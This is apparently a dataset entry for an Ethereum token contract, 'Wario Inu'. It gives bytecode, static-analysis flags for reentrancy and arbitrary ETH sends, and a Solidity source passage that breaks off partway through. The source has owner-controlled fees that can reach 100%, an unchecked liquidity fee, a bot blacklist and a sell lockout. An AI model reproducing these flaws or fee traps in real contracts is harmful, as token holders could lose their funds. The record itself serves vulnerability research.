b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061159830601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061193d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156115de57600080fd5b505afa1580156115f2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116169190613987565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561167857600080fd5b505afa15801561168c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116b09190613987565b6040518363ffffffff1660e01b81526004016116cd929190613e90565b602060405180830381600087803b1580156116e757600080fd5b505af11580156116fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061171f9190613987565b601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306117a830610c0a565b6000806117b3610dae565b426040518863ffffffff1660e01b81526004016117d596959493929190613ee2565b6060604051808303818588803b1580156117ee57600080fd5b505af1158015611802573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906118279190613b33565b505050674563918244f4000060108190555042600d81905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016118df929190613eb9565b602060405180830381600087803b1580156118f957600080fd5b505af115801561190d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119319190613ae1565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156119ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a4906140e0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a1490613fc0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611afb9190614140565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6f906140c0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611be8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bdf90613f80565b60405180910390fd5b60008111611c2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c22906140a0565b60405180910390fd5b611c33610dae565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ca15750611c71610dae565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612b1a57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611d4a5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611d5357600080fd5b6001601654611d629190614276565b4311158015611d72575060105481145b15611f9157601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611e235750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611e85576001600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611f90565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611f315750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f8f576001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160009054906101000a900460ff1661209e576040518060a001604052806000815260200160008152602001600081526020016000815260200160011515815250600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010155604082015181600201556060820151816003015560808201518160040160006101000a81548160ff0219169083151502179055509050505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121495750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561219f5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561272757601560149054906101000a900460ff166121f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121ea90614120565b60405180910390fd5b610708600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546122439190614276565b421115612293576000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301819055505b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561234b57600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600081548092919061233190614456565b91905055506005600a819055506005600b81905550612587565b6001600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561240357600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008154809291906123e990614456565b91905055506004600a819055506004600b81905550612586565b6002600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015414156124bb57600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008154809291906124a190614456565b91905055506003600a819055506003600b81905550612585565b6003600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561257357600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600081548092919061255990614456565b91905055506002600a819055506002600b81905550612584565b6005600a819055506005600b819055505b5b5b5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002018190555060158054906101000a900460ff1615612726574260175411156126d2576010548111156125fa57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541061267e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161267590613fe0565b60405180910390fd5b602d4261268b9190614276565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b600f426126df9190614276565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b600061273230610c0a565b9050601560169054906101000a900460ff1615801561279f5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156127b75750601560149054906101000a900460ff165b15612b185760158054906101000a900460ff16156128545742600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015410612853576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161284a90614040565b60405180910390fd5b5b600060239050612a30600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546128aa9190614276565b4211156128ba57600a90506129e2565b610e10600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461290a9190614276565b42111561291a57600f90506129e1565b610708600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461296a9190614276565b42111561297a57601490506129e0565b61012c600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546129ca9190614276565b4211156129da57601990506129df565b602390505b5b5b5b612a09600a6129fb600484612e2690919063ffffffff16565b61319b90919063ffffffff16565b600a81905550612a36600a612a28600684612e2690919063ffffffff16565b61319b90919063ffffffff16565b600b819055506000821115612afd57612a976064612a89600c54612a7b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b612e2690919063ffffffff16565b61319b90919063ffffffff16565b821115612af357612af06064612ae2600c54612ad4601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b612e2690919063ffffffff16565b61319b90919063ffffffff16565b91505b612afc82612ea1565b5b60004790506000811115612b1557612b1447612c41565b5b50505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612bc15750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612bcb57600090505b612bd7848484846131e5565b50505050565b6000838311158290612c25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c1c9190613f5e565b60405180910390fd5b5060008385612c349190614357565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612c9160028461319b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612cbc573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612d0d60048461319b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612d38573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612d8960048461319b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612db4573d6000803e3d6000fd5b5050565b6000600854821115612dff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612df690613fa0565b60405180910390fd5b6000612e09613212565b9050612e1e818461319b90919063ffffffff16565b915050919050565b600080831415612e395760009050612e9b565b60008284612e4791906142fd565b9050828482612e5691906142cc565b14612e96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e8d90614060565b60405180910390fd5b809150505b92915050565b6001601560166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612eff577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015612f2d5781602001602082028036833780820191505090505b5090503081600081518110612f6b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561300d57600080fd5b505afa158015613021573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906130459190613987565b8160018151811061307f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506130e630601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461193d565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161314a95949392919061415b565b600060405180830381600087803b15801561316457600080fd5b505af1158015613178573d6000803e3d6000fd5b50505050506000601560166101000a81548160ff02191690831515021790555050565b60006131dd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061323d565b905092915050565b806131f3576131f26132a0565b5b6131fe8484846132e3565b8061320c5761320b6134ae565b5b50505050565b600080600061321f6134c2565b91509150613236818361319b90919063ffffffff16565b9250505090565b60008083118290613284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161327b9190613f5e565b60405180910390fd5b506000838561329391906142cc565b9050809150509392505050565b6000600a541480156132b457506000600b54145b156132be576132e1565b600a54600e81905550600b54600f819055506000600a819055506000600b819055505b565b6000806000806000806132f587613524565b95509550955095509550955061335386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461358c90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133e885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135d690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061343481613634565b61343e84836136f1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161349b9190614140565b60405180910390a3505050505050505050565b600e54600a81905550600f54600b81905550565b600080600060085490506000683635c9adc5dea0000090506134f8683635c9adc5dea0000060085461319b90919063ffffffff16565b82101561351757600854683635c9adc5dea00000935093505050613520565b81819350935050505b9091565b60008060008060008060008060006135418a600a54600b5461372b565b9250925092506000613551613212565b905060008060006135648e8787876137c1565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006135ce83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612bdd565b905092915050565b60008082846135e59190614276565b90508381101561362a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161362190614000565b60405180910390fd5b8091505092915050565b600061363e613212565b905060006136558284612e2690919063ffffffff16565b90506136a981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135d690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6137068260085461358c90919063ffffffff16565b600881905550613721816009546135d690919063ffffffff16565b6009819055505050565b6000806000806137576064613749888a612e2690919063ffffffff16565b61319b90919063ffffffff16565b905060006137816064613773888b612e2690919063ffffffff16565b61319b90919063ffffffff16565b905060006137aa8261379c858c61358c90919063ffffffff16565b61358c90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806137da8589612e2690919063ffffffff16565b905060006137f18689612e2690919063ffffffff16565b905060006138088789612e2690919063ffffffff16565b9050600061383182613823858761358c90919063ffffffff16565b61358c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061385d613858846141f5565b6141d0565b9050808382526020820190508285602086028201111561387c57600080fd5b60005b858110156138ac578161389288826138b6565b84526020840193506020830192505060018101905061387f565b5050509392505050565b6000813590506138c5816148d1565b92915050565b6000815190506138da816148d1565b92915050565b600082601f8301126138f157600080fd5b813561390184826020860161384a565b91505092915050565b600081359050613919816148e8565b92915050565b60008151905061392e816148e8565b92915050565b600081359050613943816148ff565b92915050565b600081519050613958816148ff565b92915050565b60006020828403121561397057600080fd5b600061397e848285016138b6565b91505092915050565b60006020828403121561399957600080fd5b60006139a7848285016138cb565b91505092915050565b600080604083850312156139c357600080fd5b60006139d1858286016138b6565b92505060206139e2858286016138b6565b9150509250929050565b600080600060608486031215613a0157600080fd5b6000613a0f868287016138b6565b9350506020613a20868287016138b6565b9250506040613a3186828701613934565b9150509250925092565b60008060408385031215613a4e57600080fd5b6000613a5c858286016138b6565b9250506020613a6d85828601613934565b9150509250929050565b600060208284031215613a8957600080fd5b600082013567ffffffffffffffff811115613aa357600080fd5b613aaf848285016138e0565b91505092915050565b600060208284031215613aca57600080fd5b6000613ad88482850161390a565b91505092915050565b600060208284031215613af357600080fd5b6000613b018482850161391f565b91505092915050565b600060208284031215613b1c57600080fd5b6000613b2a84828501613934565b91505092915050565b600080600060608486031215613b4857600080fd5b6000613b5686828701613949565b9350506020613b6786828701613949565b9250506040613b7886828701613949565b9150509250925092565b6000613b8e8383613b9a565b60208301905092915050565b613ba38161438b565b82525050565b613bb28161438b565b82525050565b6000613bc382614231565b613bcd8185614254565b9350613bd883614221565b8060005b83811015613c09578151613bf08882613b82565b9750613bfb83614247565b925050600181019050613bdc565b5085935050505092915050565b613c1f8161439d565b82525050565b613c2e816143e0565b82525050565b6000613c3f8261423c565b613c498185614265565b9350613c598185602086016143f2565b613c628161452c565b840191505092915050565b6000613c7a602383614265565b9150613c858261453d565b604082019050919050565b6000613c9d602a83614265565b9150613ca88261458c565b604082019050919050565b6000613cc0602283614265565b9150613ccb826145db565b604082019050919050565b6000613ce3602283614265565b9150613cee8261462a565b604082019050919050565b6000613d06601b83614265565b9150613d1182614679565b602082019050919050565b6000613d29601583614265565b9150613d34826146a2565b602082019050919050565b6000613d4c602383614265565b9150613d57826146cb565b604082019050919050565b6000613d6f602183614265565b9150613d7a8261471a565b604082019050919050565b6000613d92602083614265565b9150613d9d82614769565b602082019050919050565b6000613db5602983614265565b9150613dc082614792565b604082019050919050565b6000613dd8602583614265565b9150613de3826147e1565b604082019050919050565b6000613dfb602483614265565b9150613e0682614830565b604082019050919050565b6000613e1e601783614265565b9150613e298261487f565b602082019050919050565b6000613e41601883614265565b9150613e4c826148a8565b602082019050919050565b613e60816143c9565b82525050565b613e6f816143d3565b82525050565b6000602082019050613e8a6000830184613ba9565b92915050565b6000604082019050613ea56000830185613ba9565b613eb26020830184613ba9565b9392505050565b6000604082019050613ece6000830185613ba9565b613edb6020830184613e57565b9392505050565b600060c082019050613ef76000830189613ba9565b613f046020830188613e57565b613f116040830187613c25565b613f1e6060830186613c25565b613f2b6080830185613ba9565b613f3860a0830184613e57565b979650505050505050565b6000602082019050613f586000830184613c16565b92915050565b60006020820190508181036000830152613f788184613c34565b905092915050565b60006020820190508181036000830152613f9981613c6d565b9050919050565b60006020820190508181036000830152613fb981613c90565b9050919050565b60006020820190508181036000830152613fd981613cb3565b9050919050565b60006020820190508181036000830152613ff981613cd6565b9050919050565b6000602082019050818103600083015261401981613cf9565b9050919050565b6000602082019050818103600083015261403981613d1c565b9050919050565b6000602082019050818103600083015261405981613d3f565b9050919050565b6000602082019050818103600083015261407981613d62565b9050919050565b6000602082019050818103600083015261409981613d85565b9050919050565b600060208201905081810360008301526140b981613da8565b9050919050565b600060208201905081810360008301526140d981613dcb565b9050919050565b600060208201905081810360008301526140f981613dee565b9050919050565b6000602082019050818103600083015261411981613e11565b9050919050565b6000602082019050818103600083015261413981613e34565b9050919050565b60006020820190506141556000830184613e57565b92915050565b600060a0820190506141706000830188613e57565b61417d6020830187613c25565b818103604083015261418f8186613bb8565b905061419e6060830185613ba9565b6141ab6080830184613e57565b9695505050505050565b60006020820190506141ca6000830184613e66565b92915050565b60006141da6141eb565b90506141e68282614425565b919050565b6000604051905090565b600067ffffffffffffffff8211156142105761420f6144fd565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000614281826143c9565b915061428c836143c9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156142c1576142c061449f565b5b828201905092915050565b60006142d7826143c9565b91506142e2836143c9565b9250826142f2576142f16144ce565b5b828204905092915050565b6000614308826143c9565b9150614313836143c9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561434c5761434b61449f565b5b828202905092915050565b6000614362826143c9565b915061436d836143c9565b9250828210156143805761437f61449f565b5b828203905092915050565b6000614396826143a9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006143eb826143c9565b9050919050565b60005b838110156144105780820151818401526020810190506143f5565b8381111561441f576000848401525b50505050565b61442e8261452c565b810181811067ffffffffffffffff8211171561444d5761444c6144fd565b5b80604052505050565b6000614461826143c9565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156144945761449361449f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6148da8161438b565b81146148e557600080fd5b50565b6148f18161439d565b81146148fc57600080fd5b50565b614908816143c9565b811461491357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201396949d4d825ee5a48febd57c4cf43f8f8ade7fa33596f1cc558c48cb4cb8a364736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,011
0xc5f4068b695f626bf7bb568ad47c2d6abaf9d19a
// Telegram: https://t.me/warioinutoken // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract WarioInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private time; uint256 private _tax; uint256 private constant _tTotal = 1 * 10**12 * 10**9; uint256 private fee1=100; uint256 private fee2=100; uint256 private liqfee=20; uint256 private feeMax=100; string private constant _name = "Wario Inu"; string private constant _symbol = "WARIO"; uint256 private _maxTxAmount = _tTotal.mul(2).div(100); uint256 private minBalance = _tTotal.div(1000); uint8 private constant _decimals = 9; address payable private _feeAddrWallet1; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () payable { _feeAddrWallet1 = payable(msg.sender); _tOwned[address(this)] = _tTotal.div(2); _tOwned[0x000000000000000000000000000000000000dEaD] = _tTotal.div(2); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); emit Transfer(address(0),address(this),_tTotal.div(2)); emit Transfer(address(0),address(0x000000000000000000000000000000000000dEaD),_tTotal.div(2)); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function changeFees(uint8 _fee1,uint8 _fee2,uint8 _liq) external { require(_msgSender() == _feeAddrWallet1); require(_fee1 <= feeMax && _fee2 <= feeMax && liqfee <= feeMax,"Cannot set fees above maximum"); fee1 = _fee1; fee2 = _fee2; liqfee = _liq; } function changeMinBalance(uint256 newMin) external { require(_msgSender() == _feeAddrWallet1); minBalance = newMin; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _tax = fee1.add(liqfee); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && (block.timestamp < time)){ // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _tax = fee2.add(liqfee); } if (!inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from]) { require(block.timestamp > time,"Sells prohibited for the first 5 minutes"); uint256 contractTokenBalance = balanceOf(address(this)); 